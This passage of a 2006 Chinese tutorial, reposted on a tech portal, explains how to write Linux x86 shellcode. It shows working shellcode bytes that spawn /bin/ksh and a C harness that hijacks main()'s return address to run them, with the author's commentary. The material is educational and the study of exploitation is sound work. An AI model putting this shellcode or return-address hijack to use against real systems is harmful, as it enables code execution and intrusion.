| 域名空间 下载中心 社区论坛 信息公告 MY小屋 |
![]() |
联系我们 设为首页 加入收藏 |
|
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿 论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图 专题 | 应用软件 | 聊天通讯 | Q Q 专栏 | 建站经验 | 在线工具 | 站长Club | 注 册 表 | 旧版 社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 韩国素材 | 素材图库 | 广告服务 | 服务 |
| 新版上线![旧版] | |||||
注:打开慢时请稍等
书写Linux下自己的shellcodehttp://www.iyit.net 日期:2006-4-29 23:23:54 来源: 点击: |
inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/ksh\" # 9 bytes # 48 bytes total "); } 80483ca: c9 leave 80483cb: c3 ret 80483cc: 90 nop 整理shellcode如下: eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b 89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3 20. 验证最后调整得到的shellcode vi shelltest.c char shellcode[] = "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b" "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3"; int main () { int * ret; /* 当前esp指向的地址保存ret的值 */ ret = ( int * )%26amp;ret + 2; /* 得到 esp + 2 * 4,那是返回地址IP */ ( *ret ) = ( int )shellcode; /* 修改了 main() 函数的返回地址,那是很重要的一步 */ } [scz@ /home/scz/src]%26gt; gcc -o shelltest shelltest.c [scz@ /home/scz/src]%26gt; ./shelltest $ exit [scz@ /home/scz/src]%26gt; 现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-) 这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题。 你可以根据自己的需要,编写出自己的shellcode来。 ★ 我对shellcode以及这篇文章的看法 1. 你是从DOS年代过来的吗? 如果答案肯定,我就不多说了,因为上面通篇实际上并没有超出当年我们 在DOS游戏汇编的范畴,毕竟Linux跑在Intel x86架构上。当发生far call的 时候,cs:ip对被压栈,先是ip后是cs,现在想起来为什么上面的介绍那么地 似曾相识了吧。int发生的时候不过多压了个flag而已。那么far jmp就更不 用多说。回忆,再回忆,回忆那些当年我们为之付出心血的DOS下的汇编语言。 ret、iret、int 3、int 21、int 1,TSR,你还能想起什么尘封了的往事。 通过修改堆栈中的返回地址将程序流程引导到别处,曾经是dos下的家常便饭, 为了防止中断向量被修改,宁可远程call远程跳转也不愿意使用int指令,编写 自己的debug程序,利用int 1的单步,难道你没有修改过堆栈中的返回地址? 为了嵌入那些当前编译器不支持的机器码,用db直接插入机器码。为了提高某些 关键代码的执行效率,使用嵌入式汇编,难道你从来没有看过.s文件? 不再回忆,DOS已是昨天。 2. 关于文章中的一些技术说明 原文是用/bin/sh的,我为了从头实际演练一番,用了/bin/ksh,你要是 乐意可以使用任意的shell。其次,可能是原文有误,要么是翻译中书写错误, 反正是有那么几处错误,我都一一调整过来了。原文是用gdb那样获得完整的 shellcode的,而我昨天刚刚介绍了objdump的使用,所以也可以利用objdump 获得shellcode,上文中已经多次给出了完整的命令。 最后的shelltest,我给加上了注释,因为你可能看到最后没有理解shellcode 如何被执行的。因为c编译器给main()函数前后都加了启动结束代码,main() 函数也是被调用的,也有自己的返回地址,所以程序中修改main()的返回地址 使得shellcode被执行。所以,你不能在main()函数的最后调用exit(0)。因为 函数的形式参数先于返回地址压栈,所以即使成了 int main ( int argc, char * argv[] ) 也不影响返回地址的修改。 定义ret局部变量就意味着esp已经获得,必须明确理解这一点。 这里仅仅介绍了如何写自己的shellcode,并没有介绍缓冲区溢出本身。 编辑: [发送给好友] [打印本页] [关闭窗口] [返回顶部] 上一篇:Linux开发人员发布WindowsXP仿真桌面 下一篇:FreeBSDshellcode编写攻略 转载请注明来源:www.iyit.net 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。 |
| 最新更新 | 热点排行 | 推荐新闻 | |||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||
| 友情链接 | ||||||
| 设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接 |
| |||||||